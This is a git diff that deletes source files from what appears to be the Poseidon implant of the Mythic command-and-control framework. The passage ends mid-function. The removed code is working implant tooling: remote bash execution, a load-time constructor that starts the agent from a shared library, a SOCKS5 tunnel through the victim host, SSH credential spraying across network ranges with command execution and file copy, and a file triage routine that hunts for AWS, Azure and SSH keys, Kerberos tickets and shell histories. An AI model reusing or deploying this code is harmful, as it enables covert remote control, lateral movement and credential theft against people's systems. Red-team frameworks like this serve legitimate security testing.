-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
- parts := strings.SplitAfterN(task.Params, " ", 2)
- parts[0] = strings.TrimSpace(parts[0])
- parts[1] = strings.TrimSpace(parts[1])
- if len(parts) != 2 {
- msg.UserOutput = "Not enough parameters"
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
- err := os.Setenv(parts[0], parts[1])
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
- msg.Completed = true
- msg.UserOutput = fmt.Sprintf("Set %s=%s", parts[0], parts[1])
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/sharedlib-darwin-linux.c b/Payload_Types/poseidon/agent_code/sharedlib-darwin-linux.c
deleted file mode 100755
index 836a518fb..000000000
--- a/Payload_Types/poseidon/agent_code/sharedlib-darwin-linux.c
+++ /dev/null
@@ -1,23 +0,0 @@
-#include
-#include
-#include
-#include
-#include
-#include
-#include "default.h" //Change the header file name
-// To build :
-// 1. Build a c-archive in golang: go build -buildmode=c-archive -o whatever.a -tags=[profile] cmd/agent/main.go
-// 2. Build a shared lib (darwin): clang -shared -framework Foundation -framework CoreGraphics -framework Security -fpic payload-template.c whatever.a -o whatever.dylib
-
-__attribute__ ((constructor)) void initializer()
-{
- pthread_attr_t attr;
- pthread_t posixThreadID;
- int returnVal;
-
- returnVal = pthread_attr_init(&attr);
- assert(!returnVal);
- returnVal = pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
- assert(!returnVal);
- pthread_create(&posixThreadID, &attr, &RunMain, NULL);
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/shell/shell.go b/Payload_Types/poseidon/agent_code/shell/shell.go
deleted file mode 100755
index b18e94cda..000000000
--- a/Payload_Types/poseidon/agent_code/shell/shell.go
+++ /dev/null
@@ -1,44 +0,0 @@
-package shell
-
-import (
- "pkg/utils/structs"
- "sync"
- "pkg/profiles"
- "encoding/json"
-)
-
-var mu sync.Mutex
-
-//Shell - Interface for running shell commands
-type Shell interface {
- Command() string
- Response() []byte
-}
-
-//Run - Function that executes the shell command
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
- res, err := shellExec(task.Params)
-
-
- if err != nil {
- msg.UserOutput = err.Error() + "\n" + string(res.Response())
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- msg.UserOutput = string(res.Response())
- msg.Completed = true
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/shell/shell_darwin.go b/Payload_Types/poseidon/agent_code/shell/shell_darwin.go
deleted file mode 100755
index 798a59535..000000000
--- a/Payload_Types/poseidon/agent_code/shell/shell_darwin.go
+++ /dev/null
@@ -1,48 +0,0 @@
-// +build darwin
-
-package shell
-
-import (
- "fmt"
- "os/exec"
- "strings"
-
- "github.com/google/shlex"
- //Apfell imports
-)
-
-//DarwinShell - struct to hold the task and result of the shell command
-type DarwinShell struct {
- Task string
- TaskResult []byte
-}
-
-//Command - interface method that returns the command
-func (d *DarwinShell) Command() string {
- return d.Task
-}
-
-//Response - interface method that holds the response to the command
-func (d *DarwinShell) Response() []byte {
- return d.TaskResult
-}
-
-func shellExec(c string) (Shell, error) {
-
- c = fmt.Sprintf("bash -c %s", c)
- args, _ := shlex.Split(c)
- cmd := exec.Command(args[0], args[1], strings.Join(args[2:], " "))
-
- r := &DarwinShell{}
-
- out, err := cmd.CombinedOutput()
-
- r.Task = c
- r.TaskResult = out
-
- if len(out) == 0 && err == nil {
- r.TaskResult = []byte("task completed")
- }
-
- return r, err
-}
diff --git a/Payload_Types/poseidon/agent_code/shell/shell_linux.go b/Payload_Types/poseidon/agent_code/shell/shell_linux.go
deleted file mode 100755
index 4249526ae..000000000
--- a/Payload_Types/poseidon/agent_code/shell/shell_linux.go
+++ /dev/null
@@ -1,47 +0,0 @@
-// +build linux
-
-package shell
-
-import (
- "fmt"
- "os/exec"
- "strings"
-
- "github.com/google/shlex"
-)
-
-//LinuxShell - struct to hold the task and result of the shell command
-type LinuxShell struct {
- Task string
- TaskResult []byte
-}
-
-//Command - interface method that returns the command
-func (d *LinuxShell) Command() string {
- return d.Task
-}
-
-//Response - interface method that holds the response to the command
-func (d *LinuxShell) Response() []byte {
- return d.TaskResult
-}
-
-func shellExec(c string) (Shell, error) {
-
- c = fmt.Sprintf("bash -c %s", c)
- args, _ := shlex.Split(c)
- cmd := exec.Command(args[0], args[1], strings.Join(args[2:], " "))
-
- r := &LinuxShell{}
-
- out, err := cmd.CombinedOutput()
-
- r.Task = c
- r.TaskResult = out
-
- if len(out) == 0 && err == nil {
- r.TaskResult = []byte("task completed")
- }
-
- return r, err
-}
diff --git a/Payload_Types/poseidon/agent_code/sleep/.gitkeep b/Payload_Types/poseidon/agent_code/sleep/.gitkeep
deleted file mode 100755
index e69de29bb..000000000
diff --git a/Payload_Types/poseidon/agent_code/socks/socks.go b/Payload_Types/poseidon/agent_code/socks/socks.go
deleted file mode 100644
index 67832d2b5..000000000
--- a/Payload_Types/poseidon/agent_code/socks/socks.go
+++ /dev/null
@@ -1,408 +0,0 @@
-package socks
-
-import (
- "fmt"
- "net"
- "sync"
- "encoding/base64"
- "bytes"
- "io"
- "strings"
- "strconv"
- "bufio"
- "pkg/utils/structs"
-)
-// ****** The following is from https://github.com/armon/go-socks5 *****
-const (
- ConnectCommand = uint8(1)
- ipv4Address = uint8(1)
- fqdnAddress = uint8(3)
- ipv6Address = uint8(4)
- NoAuth = uint8(0)
- socks5Version = uint8(5)
-)
-var (
- unrecognizedAddrType = fmt.Errorf("Unrecognized address type")
-)
-const (
- SuccessReply uint8 = iota
- ServerFailure
- RuleFailure
- NetworkUnreachable
- HostUnreachable
- ConnectionRefused
- TtlExpired
- CommandNotSupported
- AddrTypeNotSupported
-)
-type Request struct {
- // Protocol version
- Version uint8
- // Requested command
- Command uint8
- // AuthContext provided during negotiation
- AuthContext *AuthContext
- // AddrSpec of the the network that sent the request
- RemoteAddr *AddrSpec
- // AddrSpec of the desired destination
- DestAddr *AddrSpec
- BufConn io.Reader
-}
-type AuthContext struct {
- // Provided auth method
- Method uint8
- // Payload provided during negotiation.
- // Keys depend on the used auth method.
- // For UserPassauth contains Username
- Payload map[string]string
-}
-type AddrSpec struct {
- FQDN string
- IP net.IP
- Port int
-}
-// ***** ends section from https://github.com/armon/go-socks5 ********
-type mutexMap struct{
- sync.RWMutex
- m map[int32]chan []byte
-}
-func Run(task structs.Task, fromMythicSocksChannel chan structs.SocksMsg, toMythicSocksChannel chan structs.SocksMsg) {
- var channelMap = mutexMap{m: make(map[int32]chan []byte)}
- go readFromApfell(fromMythicSocksChannel, toMythicSocksChannel, &channelMap)
-}
-func addMutexMap(channelMap *mutexMap, channelId int32){
- in := make(chan []byte, 512000)
- channelMap.Lock()
- channelMap.m[channelId] = in
- channelMap.Unlock()
-}
-func removeMutexMap(channelMap *mutexMap, connection int32, conn net.Conn){
- channelMap.Lock()
- if _, ok := channelMap.m[connection]; ok{
- // if this connection still exists, remove it
- if conn != nil{
- conn.Close()
- }
- close(channelMap.m[connection])
- delete(channelMap.m, connection)
- }
- channelMap.Unlock()
-}
-func readFromApfell(fromMythicSocksChannel chan structs.SocksMsg, toMythicSocksChannel chan structs.SocksMsg, channelMap *mutexMap){
- for {
- select{
- case curMsg := <-fromMythicSocksChannel:
- data, err := base64.StdEncoding.DecodeString(curMsg.Data)
- if err != nil{
- //fmt.Printf("Bad base64 data received\n")
- break
- }
- //now we have a message, process it
- //fmt.Println("about to lock in apfell read")
- channelMap.RLock()
- thisChan, ok := channelMap.m[curMsg.ServerId];
- channelMap.RUnlock()
- //fmt.Println("just unlocked in apfell read")
- if !ok {
- // we don't have this connection registered, spin off new channel
- if strings.Compare(curMsg.Data,"LTE=") == 0{
- //we don't have an open connection and mythic is telling us to close it, just break and continue
- break
- }
- //fmt.Printf("about to add to mutex map\n")
- addMutexMap(channelMap, curMsg.ServerId)
- //fmt.Printf("added to mutex map\n")
- go connectToProxy(channelMap, curMsg.ServerId, toMythicSocksChannel, data)
- //fmt.Printf("connected to proxy with new connection")
- }else{
- // we already have an opened connection, send data to this channel
- //fmt.Println("sending data to channel for proxy write:")
- //fmt.Printf("%v", data)
- thisChan <- data
- }
- }
- }
-}
-func connectToProxy(channelMap *mutexMap, channelId int32, toMythicSocksChannel chan structs.SocksMsg, data []byte){
- r := bytes.NewReader(data)
- //fmt.Printf("got connect request: %v, %v\n", data, channelId)
- header := []byte{0, 0, 0}
- if _, err := r.Read(header); err != nil {
- bytesToSend := SendReply(nil, ServerFailure, nil)
- msg := structs.SocksMsg{}
- msg.ServerId = channelId
- msg.Data = base64.StdEncoding.EncodeToString(bytesToSend)
- toMythicSocksChannel <- msg
- go removeMutexMap(channelMap, channelId, nil)
- return
- }
- // Ensure we are compatible
- if header[0] != uint8(5) {
- fmt.Printf("new channel id with bad header: %v\n", channelId)
- fmt.Printf("Unsupported header version: %v\n", header)
- msg := structs.SocksMsg{}
- msg.ServerId = channelId
- msg.Data = "LTE="
- toMythicSocksChannel <- msg
- go removeMutexMap(channelMap, channelId, nil)
- return
- }
- // Read in the destination address
- //fmt.Printf("%v\n", r)
- dest, err := ReadAddrSpec(r)
- if err != nil {
- //fmt.Printf("Failed to read addr spec: %v, len: %d\n", err, len(data))
- bytesToSend := SendReply(nil, AddrTypeNotSupported, nil)
- msg := structs.SocksMsg{}
- msg.ServerId = channelId
- msg.Data = base64.StdEncoding.EncodeToString(bytesToSend)
- toMythicSocksChannel <- msg
- go removeMutexMap(channelMap, channelId, nil)
- return
- }
-
- request := &Request{
- Version: uint8(5),
- Command: header[1],
- DestAddr: dest,
- BufConn: r,
- }
- request.AuthContext = &AuthContext{NoAuth, nil}
- //fmt.Printf("created auth context\n")
- // this remote addr is for the attacker, which doesn't matter
- client := &net.TCPAddr{IP: []byte{127, 0, 0, 1}, Port: 65432}
- request.RemoteAddr = &AddrSpec{IP: client.IP, Port: client.Port}
- if request.DestAddr.FQDN != "" {
- //fmt.Printf("about to resolve fqdn\n")
- addr, err := net.ResolveIPAddr("ip", request.DestAddr.FQDN)
- //fmt.Printf("got an IP address\n")
- if err != nil {
- bytesToSend := SendReply(nil, HostUnreachable, nil)
- msg := structs.SocksMsg{}
- msg.ServerId = channelId
- msg.Data = base64.StdEncoding.EncodeToString(bytesToSend)
- toMythicSocksChannel <- msg
- //fmt.Printf("Failed to resolve destination '%v': %v\n", dest.FQDN, err)
- go removeMutexMap(channelMap, channelId, nil)
- return
- }
- request.DestAddr.IP = addr.IP
- }
- //fmt.Printf("switching on the request.Command value\n")
- switch request.Command {
- case ConnectCommand:
- // Attempt to connect
- //fmt.Printf("in command switch, got connect command\n")
- target, err := net.Dial( "tcp", request.DestAddr.Address())
- //fmt.Printf("connected to remote tcp: %v\n", err)
- if err != nil {
- errorMsg := err.Error()
- resp := HostUnreachable
- if strings.Contains(errorMsg, "refused") {
- resp = ConnectionRefused
- } else if strings.Contains(errorMsg, "network is unreachable") {
- resp = NetworkUnreachable
- }
- bytesToSend := SendReply(nil, resp, nil)
- msg := structs.SocksMsg{}
- msg.ServerId = channelId
- msg.Data = base64.StdEncoding.EncodeToString(bytesToSend)
- toMythicSocksChannel <- msg
- fmt.Printf("Connect to %v failed: %v, %v\n", request.DestAddr, errorMsg, data)
- go removeMutexMap(channelMap, channelId, nil)
- return
- }
- // send successful connect message
- local := target.LocalAddr().(*net.TCPAddr)
- bind := AddrSpec{IP: local.IP, Port: local.Port}
- bytesToSend := SendReply(nil, SuccessReply, &bind)
- msg := structs.SocksMsg{}
- msg.ServerId = channelId
- msg.Data = base64.StdEncoding.EncodeToString(bytesToSend)
- //fmt.Printf("Sending %v\n", msg.Data)
- toMythicSocksChannel <- msg
- //fmt.Printf("spinning off writeToProxy and readFromProxy routines\n")
- go writeToProxy(target, channelId, channelMap, toMythicSocksChannel)
- go readFromProxy(target, toMythicSocksChannel, channelId, channelMap)
- default:
- //fmt.Printf("In command switch, hit default case\n")
- bytesToSend := SendReply(nil, CommandNotSupported, nil)
- msg := structs.SocksMsg{}
- msg.ServerId = channelId
- msg.Data = base64.StdEncoding.EncodeToString(bytesToSend)
- toMythicSocksChannel <- msg
- fmt.Printf("Unsupported command: %v, %v\n", request.Command, channelId)
- go removeMutexMap(channelMap, channelId, nil)
- return
- }
- //fmt.Printf("Returning from creating new proxy connection\n")
-}
-func readFromProxy(conn net.Conn, toMythicSocksChannel chan structs.SocksMsg, channelId int32, channelMap *mutexMap){
- //numOfZeros := 0
- for{
- bufIn := make([]byte, 512000)
- // Read the incoming connection into the buffer.
- //conn.SetReadDeadline(time.Now().Add(5 * time.Second))
-
- totalRead, err := conn.Read(bufIn)
- //fmt.Printf("totalRead from proxy: %d\n", totalRead)
-
- if err != nil {
- //fmt.Println("Error reading from remote proxy: ", err.Error())
- msg := structs.SocksMsg{}
- msg.ServerId = channelId
- msg.Data = "LTE=" //base64 of -1
- toMythicSocksChannel <- msg
- //fmt.Printf("closing from bad proxy read: %v, %v\n", err.Error(), channelId)
- go removeMutexMap(channelMap, channelId, conn)
- return
- }
- //fmt.Printf("Got %v from proxy\n", bufIn[:totalRead])
- if totalRead > 0{
- msg := structs.SocksMsg{}
- msg.ServerId = channelId
- msg.Data = base64.StdEncoding.EncodeToString(bufIn[:totalRead])
- toMythicSocksChannel <- msg
- }
- }
- //fmt.Println("proxy connection for reading done")
- go removeMutexMap(channelMap, channelId, conn)
-}
-func writeToProxy(conn net.Conn, channelId int32, channelMap *mutexMap, toMythicSocksChannel chan structs.SocksMsg){
- channelMap.RLock()
- myChan := channelMap.m[channelId]
- channelMap.RUnlock()
- w := bufio.NewWriter(conn)
- exitMsg,_ := base64.StdEncoding.DecodeString("LTE=")
- for bufOut := range myChan{
- // Send a response back to person contacting us.
- //fmt.Printf("writeToProxy wants to send %d bytes: %v\n", len(bufOut), bufOut)
- if bytes.Compare(bufOut,exitMsg) ==0{
- //fmt.Printf("got close from proxychains side, closing connection\n")
- w.Flush()
- //fmt.Printf("closing from goserver saying so: %v\n", channelId)
- go removeMutexMap(channelMap, channelId, conn)
- return //break out of this so we can close the connection and be done
- }
- _, err := w.Write(bufOut)
- if err != nil {
- //fmt.Println("Error writting to proxy: ", err.Error())
- msg := structs.SocksMsg{}
- msg.ServerId = channelId
- msg.Data = "LTE=" //base64 of -1
- toMythicSocksChannel <- msg
- //fmt.Printf("closing from bad proxy write: %v\n", channelId)
- go removeMutexMap(channelMap, channelId, conn)
- return
- }
- w.Flush()
- //fmt.Printf("total written to proxy: %d\n", totalWritten)
- }
- w.Flush()
- //fmt.Println("proxy connection for writting closed")
- go removeMutexMap(channelMap, channelId, conn)
- return
-}
-// ****** The following is from https://github.com/armon/go-socks5 *****
-func ReadAddrSpec(r io.Reader) (*AddrSpec, error) {
- d := &AddrSpec{}
-
- // Get the address type
- addrType := []byte{0}
- if _, err := r.Read(addrType); err != nil {
- return nil, err
- }
-
- // Handle on a per type basis
- //fmt.Printf("addr type case: %v\n", addrType[0])
- switch addrType[0] {
- case ipv4Address:
- addr := make([]byte, 4)
- if _, err := io.ReadAtLeast(r, addr, len(addr)); err != nil {
- return nil, err
- }
- d.IP = net.IP(addr)
-
- case ipv6Address:
- addr := make([]byte, 16)
- if _, err := io.ReadAtLeast(r, addr, len(addr)); err != nil {
- return nil, err
- }
- d.IP = net.IP(addr)
-
- case fqdnAddress:
- if _, err := r.Read(addrType); err != nil {
- return nil, err
- }
- addrLen := int(addrType[0])
- fqdn := make([]byte, addrLen)
- if _, err := io.ReadAtLeast(r, fqdn, addrLen); err != nil {
- return nil, err
- }
- d.FQDN = string(fqdn)
-
- default:
- return nil, unrecognizedAddrType
- }
-
- // Read the port
- port := []byte{0, 0}
- if _, err := io.ReadAtLeast(r, port, 2); err != nil {
- return nil, err
- }
- d.Port = (int(port[0]) << 8) | int(port[1])
-
- return d, nil
-}
-func (a AddrSpec) Address() string {
- if 0 != len(a.IP) {
- return net.JoinHostPort(a.IP.String(), strconv.Itoa(a.Port))
- }
- return net.JoinHostPort(a.FQDN, strconv.Itoa(a.Port))
-}
-func SendReply(w io.Writer, resp uint8, addr *AddrSpec) []byte {
- // Format the address
- var addrType uint8
- var addrBody []byte
- var addrPort uint16
- switch {
- case addr == nil:
- addrType = ipv4Address
- addrBody = []byte{0, 0, 0, 0}
- addrPort = 0
-
- case addr.FQDN != "":
- addrType = fqdnAddress
- addrBody = append([]byte{byte(len(addr.FQDN))}, addr.FQDN...)
- addrPort = uint16(addr.Port)
-
- case addr.IP.To4() != nil:
- addrType = ipv4Address
- addrBody = []byte(addr.IP.To4())
- addrPort = uint16(addr.Port)
-
- case addr.IP.To16() != nil:
- addrType = ipv6Address
- addrBody = []byte(addr.IP.To16())
- addrPort = uint16(addr.Port)
-
- default:
- fmt.Printf("Failed to format address: %v\n", addr)
- return []byte{0}
- }
-
- // Format the message
- msg := make([]byte, 6+len(addrBody))
- msg[0] = socks5Version
- msg[1] = resp
- msg[2] = 0 // Reserved
- msg[3] = addrType
- copy(msg[4:], addrBody)
- msg[4+len(addrBody)] = byte(addrPort >> 8)
- msg[4+len(addrBody)+1] = byte(addrPort & 0xff)
-
- // Send the message
- //_, err := w.Write(msg)
- return msg
-}
-// ***** ends section from https://github.com/armon/go-socks5 ********
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/sshauth/sshauth.go b/Payload_Types/poseidon/agent_code/sshauth/sshauth.go
deleted file mode 100755
index c2f3f8dac..000000000
--- a/Payload_Types/poseidon/agent_code/sshauth/sshauth.go
+++ /dev/null
@@ -1,312 +0,0 @@
-package sshauth
-
-import (
- "context"
- "encoding/json"
- "fmt"
- "io/ioutil"
- "sync"
- "time"
- "portscan"
- "pkg/utils/structs"
- "golang.org/x/crypto/ssh"
- "golang.org/x/sync/semaphore"
- "github.com/tmc/scp"
- "pkg/profiles"
-)
-
-var (
- sshResultChan = make(chan SSHResult)
- mu sync.Mutex
-)
-
-// SSHAuthenticator Governs the lock of ssh authentication attempts
-type SSHAuthenticator struct {
- host string
- lock *semaphore.Weighted
-}
-
-// Credential Manages credential objects for authentication
-type Credential struct {
- Username string
- Password string
- PrivateKey string
-}
-
-type SSHTestParams struct {
- Hosts []string `json:"hosts"`
- Port int `json:"port"`
- Username string `json:"username"`
- Password string `json:"password"`
- PrivateKey string `json:"private_key"`
- Command string `json:"command"`
- Source string `json:"source"`
- Destination string `json:"destination"`
-}
-
-type SSHResult struct {
- Status string `json:"status"`
- Success bool `json:"success"`
- Username string `json:"username"`
- Secret string `json:"secret"`
- Output string `json:"output"`
- Host string `json:"host"`
- CopyStatus string `json:"copy_status"`
-}
-
-// SSH Functions
-func PublicKeyFile(file string) ssh.AuthMethod {
- buffer, err := ioutil.ReadFile(file)
- if err != nil {
- return nil
- }
-
- key, err := ssh.ParsePrivateKey(buffer)
- if err != nil {
- return nil
- }
- return ssh.PublicKeys(key)
-}
-
-func SSHLogin(host string, port int, cred Credential, debug bool, command string, source string, destination string) {
- var sshConfig *ssh.ClientConfig
- if cred.PrivateKey == "" {
- sshConfig = &ssh.ClientConfig{
- User: cred.Username,
- HostKeyCallback: ssh.InsecureIgnoreHostKey(),
- Timeout: 500 * time.Millisecond,
- Auth: []ssh.AuthMethod{ssh.Password(cred.Password)},
- }
- } else {
- sshConfig = &ssh.ClientConfig{
- User: cred.Username,
- Timeout: 500 * time.Millisecond,
- HostKeyCallback: ssh.InsecureIgnoreHostKey(),
- Auth: []ssh.AuthMethod{PublicKeyFile(cred.PrivateKey)},
- }
- }
- // log.Println("Dialing:", host)
- res := SSHResult{
- Host: host,
- Username: cred.Username,
- }
- if cred.PrivateKey == "" {
- res.Secret = cred.Password
- // successStr = fmt.Sprintf("[SSH] Hostname: %s\tUsername: %s\tPassword: %s", host, cred.Username, cred.Password)
- } else {
- res.Secret = cred.PrivateKey
- // successStr = fmt.Sprintf("[SSH] Hostname: %s\tUsername: %s\tPassword: %s", host, cred.Username, cred.PrivateKey)
- }
- connectionStr := fmt.Sprintf("%s:%d", host, port)
- connection, err := ssh.Dial("tcp", connectionStr, sshConfig)
- if err != nil {
- if debug {
- errStr := fmt.Sprintf("[DEBUG] Failed to dial: %s", err)
- fmt.Println(errStr)
- }
- res.Success = false
- sshResultChan <- res
- return
- }
- session, err := connection.NewSession()
- defer session.Close()
- if err != nil {
- res.Success = false
- res.Status = err.Error()
- sshResultChan <- res
- return
- }
- if source != "" && destination != ""{
- err = scp.CopyPath(source, destination, session)
- if err != nil{
- res.CopyStatus = "Failed to copy: " + err.Error()
- }else{
- res.CopyStatus = "Successfully copied"
- }
- }
- if command != ""{
- modes := ssh.TerminalModes{
- ssh.ECHO: 0, //disable echoing
- ssh.TTY_OP_ISPEED: 14400,
- ssh.TTY_OP_OSPEED: 14400,
- }
- err = session.RequestPty("xterm", 80, 40, modes)
- if err != nil{
- res.Success = false
- res.Status = err.Error()
- res.Output = "Failed to request PTY"
- sshResultChan <- res
- return
- }
- output, err := session.Output(command)
- if err != nil{
-
- }
- res.Output = string(output)
- }else{
- res.Output = ""
- }
- //session.Close()
- res.Success = true
- sshResultChan <- res
-}
-
-func (auth *SSHAuthenticator) Brute(port int, creds []Credential, debug bool, command string, source string, destination string) {
- wg := sync.WaitGroup{}
-
- for i := 0; i < len(creds); i++ {
- auth.lock.Acquire(context.TODO(), 1)
- wg.Add(1)
- go func(port int, cred Credential, debug bool, command string, source string, destination string) {
- defer auth.lock.Release(1)
- defer wg.Done()
- SSHLogin(auth.host, port, cred, debug, command, source, destination)
- }(port, creds[i], debug, command, source, destination)
- }
- wg.Wait()
-}
-
-func SSHBruteHost(host string, port int, creds []Credential, debug bool, command string, source string, destination string) {
- var lim int64 = 100
- auth := &SSHAuthenticator{
- host: host,
- lock: semaphore.NewWeighted(lim),
- }
- auth.Brute(port, creds, debug, command, source, destination)
-}
-
-func SSHBruteForce(hosts []string, port int, creds []Credential, debug bool, command string, source string, destination string) []SSHResult {
- for i := 0; i < len(hosts); i++ {
- go func(host string, port int, creds []Credential, debug bool, command string, source string, destination string) {
- SSHBruteHost(host, port, creds, debug, command, source, destination)
- }(hosts[i], port, creds, debug, command, source, destination)
- }
- var successfulHosts []SSHResult
- for i := 0; i < len(hosts); i++ {
- res := <-sshResultChan
- if res.Success {
- successfulHosts = append(successfulHosts, res)
- }
- }
- return successfulHosts
-}
-
-func Run(task structs.Task) {
-
- params := SSHTestParams{}
- msg := structs.Response{}
- msg.TaskID = task.TaskID
-
- // log.Println("Task params:", string(task.Params))
- err := json.Unmarshal([]byte(task.Params), ¶ms)
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
- // log.Println("Parsed task params!")
- if len(params.Hosts) == 0 {
- msg.UserOutput = "Missing host(s) parameter."
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- if params.Password == "" && params.PrivateKey == "" {
- msg.UserOutput = "Missing password parameter"
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- if params.Username == "" {
- msg.UserOutput = "Missing username parameter."
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- var totalHosts []string
- for i := 0; i < len(params.Hosts); i++ {
- newCidr, err := portscan.NewCIDR(params.Hosts[i])
- if err != nil {
- continue
- } else {
- // Iterate through every host in hostCidr
- for j := 0; j < len(newCidr.Hosts); j++ {
- totalHosts = append(totalHosts, newCidr.Hosts[j].PrettyName)
- }
- // cidrs = append(cidrs, newCidr)
- }
- }
-
- if params.Port == 0 {
- params.Port = 22
- }
-
- cred := Credential{
- Username: params.Username,
- Password: params.Password,
- PrivateKey: params.PrivateKey,
- }
- // log.Println("Beginning brute force...")
- results := SSHBruteForce(totalHosts, params.Port, []Credential{cred}, false, params.Command, params.Source, params.Destination)
- // log.Println("Finished!")
- if len(results) > 0 {
- data, err := json.MarshalIndent(results, "", " ")
- // // fmt.Println("Data:", string(data))
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- } else {
- // fmt.Println("Sending on up the data:\n", string(data))
- msg.UserOutput = string(data)
- msg.Completed = true
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
- } else {
- // log.Println("No successful auths.")
- msg.UserOutput = "No successful authenication attempts"
- msg.Completed = true
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
-}
diff --git a/Payload_Types/poseidon/agent_code/triagedirectory/triagedirectory.go b/Payload_Types/poseidon/agent_code/triagedirectory/triagedirectory.go
deleted file mode 100755
index e490e2e6e..000000000
--- a/Payload_Types/poseidon/agent_code/triagedirectory/triagedirectory.go
+++ /dev/null
@@ -1,271 +0,0 @@
-package triagedirectory
-
-import (
- "encoding/json"
- "io/ioutil"
- "os"
- "path/filepath"
- "strings"
- "sync"
- "pkg/profiles"
- "pkg/utils/structs"
-)
-
-var mu sync.Mutex
-
-type OSFile struct {
- Path string `json:"path"`
- Name string `json:"name"`
- Size int64 `json:"size"`
- Mode string `json:"mode"`
- ModificationTime string `json:"modification_time"`
- IsDir bool `json:"is_dir"`
-}
-
-type DirectoryTriageResult struct {
- mutex sync.Mutex
- AzureFiles []OSFile `json:"azure_files"`
- AWSFiles []OSFile `json:"aws_files"`
- SSHFiles []OSFile `json:"ssh_files"`
- MSWordFiles []OSFile `json:"msword_files"`
- MSExcelFiles []OSFile `json:"msexcel_files"`
- MSPowerPointFiles []OSFile `json:"mspptx_files"`
- HistoryFiles []OSFile `json:"history_files"`
- PDFs []OSFile `json:"pdfs"`
- LogFiles []OSFile `json:"log_files"`
- ShellScriptFiles []OSFile `json:"shellscript_files"`
- YAMLFiles []OSFile `json:"yaml_files"`
- ConfFiles []OSFile `json:"conf_files"`
- CSVFiles []OSFile `json:"csv_files"`
- DatabaseFiles []OSFile `json:"db_files"`
- MySqlConfFiles []OSFile `json:"mysql_confs"`
- KerberosFiles []OSFile `json:"kerberos_tickets"`
- TextFiles []OSFile `json:"text_files"`
- InterestingFiles []OSFile `json:"interesting_files"`
-}
-
-func NewDirectoryTriageResult() *DirectoryTriageResult {
- mtx := sync.Mutex{}
- return &DirectoryTriageResult{
- mutex: mtx,
- }
-}
-
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
-
- // log.Println("Parsed task params!")
- if len(task.Params) == 0 {
- msg.UserOutput = "Error: No path given."
- msg.Completed = true
- msg.Status = "error"
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
- result := NewDirectoryTriageResult()
- go task.Job.MonitorStop()
- err := triageDirectory(task.Params, result, task.Job)
- // If it didn't end prematurely, send the kill.
- if task.Job.Monitoring {
- go task.Job.SendKill()
- }
- // fmt.Println(result)
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- } else {
- if !isDirectoryTriageResultEmpty(*result) {
- data, err := json.MarshalIndent(result, "", " ")
- // // fmt.Println("Data:", string(data))
- if err != nil {
- // fmt.Println("Error was not nil when marshalling!", err.Error())
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- } else {
- msg.UserOutput = string(data)
- msg.Completed = true
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
- } else {
- msg.UserOutput = "Task completed and nothing noteworthy found."
- msg.Completed = true
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
- }
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
-
-func isDirectoryTriageResultEmpty(result DirectoryTriageResult) bool {
